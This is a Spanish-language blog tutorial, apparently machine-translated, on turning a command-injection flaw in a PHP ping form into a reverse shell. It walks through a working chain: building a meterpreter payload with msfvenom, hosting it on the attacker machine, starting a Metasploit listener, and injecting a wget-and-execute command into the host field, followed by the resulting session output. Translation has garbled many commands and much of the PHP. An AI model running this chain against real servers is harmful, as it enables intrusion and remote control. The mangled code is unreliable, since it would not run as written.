jueves, 28 de marzo de 2013

Command-injection-to-shell



Introducción

Descripción

En este tutorial, aprenderás cómo tomar el control de un servidor que es vulnerable a una vulnerabilidad de inyección de comandos.

Medio ambiente

El siguiente tutorial ha sido probado en el siguiente entorno:
  • atacante:
    • Dirección IP: 192.168.1.43
    • Distribución: BackTrack 5 R3
  • objetivo
    • Dirección IP: 192.168.1.16
    • Distribución: Debian 6

Ejemplo

Código

<html>
<head>
<title> ping host </ title>
</ Head>
<body>
<form method="get" action="">
  <input type="text" /> name="host"
  <input type="submit" value="ping host" />
</ Form>
<? Php
if (isset ($ _GET ['host'])) {
  $ Salida = shell_exec ("ping-c1" $ _GET ['host'].);
  echo "<pre> $ salida </ pre>";
}
?>
</ Body>
</ Html>

El uso normal

En el uso normal, esta aplicación se supone para generar el resultado del comando ping contra un host solicitado:
Cmd-injection.png

Vulnerabilidad

Este código es vulnerable, ya que no desinfectar las entradas del usuario. Es posible inyectar otros comandos:
Comando-inyección-2.png

Explotación

Crear shell con msfvenom

Vamos a aprovechar esta vulnerabilidad para descargar un shell inversa PHP. Pero en primer lugar crear el shell con msfvenom :
root @ bt: ~ # msfvenom-p php / meterpreter / reverse_tcp-f lhost prima = 192.168.1.43 lport = 4050> / var / www / shell.txt 
root @ bt: ~ # cabeza / var / www / shell.txt
# <? Php

error_reporting (0);
# El controlador de carga sobrescribirá con el lhost correcto antes de enviar
# A la víctima.
$ Ip = '192 .168.1.43 ';
$ Port = 4050;
$ Ipf = AF_INET;

si (== FALSE strpos ($ ip,! ":")) {
Como se puede ver, la primera línea está comentada. Vamos a quitar el comentario:
root @ bt: ~ # sed-i '¡¯ s / # <php / <php /' / var / www / shell.txt

Iniciar servidor web en la máquina del atacante

Aunque sería posible alojar nuestro shell PHP en una tercera parte, es conveniente en nuestro tutorial de ser el anfitrión de la máquina del atacante directamente. Vamos a comenzar nuestro servidor web:
root @ bt: ~ # servicio apache2 inicio
 * Inicio del servidor web apache2 [OK]

Comience escuchando en el puerto 4050 de la máquina del atacante

De BT5, abramos nuestro oyente:
root @ bt: ~ # msfconsole 
msf> use multi / handler 
exploit msf (manejador)> set payload php / meterpreter / reverse_tcp 
msf exploit (manejador)> set lhost 192.168.1.43 
msf exploit (manejador)> set lport 4050 
msf exploit (manejador )> explotar

[*] Started inversa controlador en 192.168.1.43:4050 
[*] A partir del controlador de carga útil ...

Descarga shell desde el host vulnerable

Vamos a aprovechar la vulnerabilidad y descargar el shell del servidor web del atacante. Escriba el siguiente comando en el campo "máquina":
; Http://192.168.1.43/shell.txt wget-O / tmp / shell.php; php-f / tmp / shell.php
El comando anterior descarga shell.txt como shell.php en el directorio / tmp y ejecutar el shell php (php-f / tmp / shell.php)

Pruebe el shell inversa

Ahora tenemos un meterpreter:
...
[*] Envío etapa (38791 bytes) para 192.168.1.16
[*] Periodo de sesiones Meterpreter 1 abierto (192.168.1.43:4050 -> 192.168.1.16:40107) en 05/05/2012 21:02:34 -0400

meterpreter> sysinfo
Equipo: snort
OS: Linux snort 2.6.32-5-686 # 1 SMP Lun Ene 16 16:04:25 UTC 2012 i686
Meterpreter: php / php
meterpreter> shell
Proceso 3845 creado.
Canal creado 0.
/ Sbin / ifconfig
eth0 Link a encap: Ethernet HWaddr 00:0 c: 29:97:32:0 f  
          inet addr: 192.168.60.129 Bcast: 192.168.60.255 Máscara: 255.255.255.0
          inet6 addr: fe80 :: 20c: 29ff: fe97: 320f/64 Alcance: Enlace
          UP BROADCAST RUNNING MULTICAST MTU: 1500 Métrica: 1
          RX packets: 530 errors: 0 caído: 0 sobrecostos: 0 frame: 0
          TX paquetes: 285 errores: 0 caído: 0 sobrecostos: 0 carrier: 0
          colisiones: 0 txqueuelen: 1000 
          RX bytes: 62923 (61.4 KiB) TX bytes: 31150 (30.4 KiB)
          Interrupción: 19 Dirección base: 0x2000 

eth1 Enlace encap: Ethernet HWaddr 00:0 c: 29:97:32:19  
          inet addr: 192.168.1.16 Bcast: 192.168.1.255 Máscara: 255.255.255.0
          inet6 addr: 2a01: e35: 8b15: 3430:20 c: 29ff: fe97: 3219/64 Scope: Global
          inet6 addr: fe80 :: 20c: 29ff: fe97: 3219/64 Alcance: Vínculo
          UP BROADCAST RUNNING MULTICAST MTU: 1500 Métrica: 1
          RX packets: 9694 errors: 0 caído: 0 sobrecostos: 0 frame: 0
          TX paquetes: 3451 errores: 0 caído: 0 sobrecostos: 0 carrier: 0
          colisiones: 0 txqueuelen: 1000 
          RX bytes: 2119587 (2,0 MiB) TX bytes: 1297681 (1.2 MiB)
          Interrupción: 16 Dirección base: 0x2080 

lo Link encap: Bucle local  
          inet addr: 127.0.0.1 Máscara: 255.0.0.0
          inet6 ::: 1/128 Alcance: Anfitrión
          ARRIBA LOOPBACK RUNNING MTU: 16436 Metric: 1
          RX packets: 2597 errors: 0 caído: 0 sobrecostos: 0 frame: 0
          TX paquetes: 2597 errores: 0 caído: 0 sobrecostos: 0 carrier: 0
          colisiones: 0 txqueuelen: 0 
          RX bytes: 365075 (356.5 KiB) TX bytes: 365075 (356.5 Kb)

Fuente: Aldreid
Share:

0 comentarios:

Publicar un comentario

Labels

Analisis (6) Android (1) Auditoria (15) BruteFoce (7) centOS (1) Cloudflare (3) DDos (1) Distros (5) Exploits (3) firewall (1) hacking (11) Herramientas (126) Incapsula (1) lfi (1) Malware (2) Pentest (49) Perl (2) Proxys (1) python (10) Scan Sql (1) Seguridad (52) Windows (1) Wireless (5) Wordpress (1) XSS (5)

FOLLOWME


Translate

Followers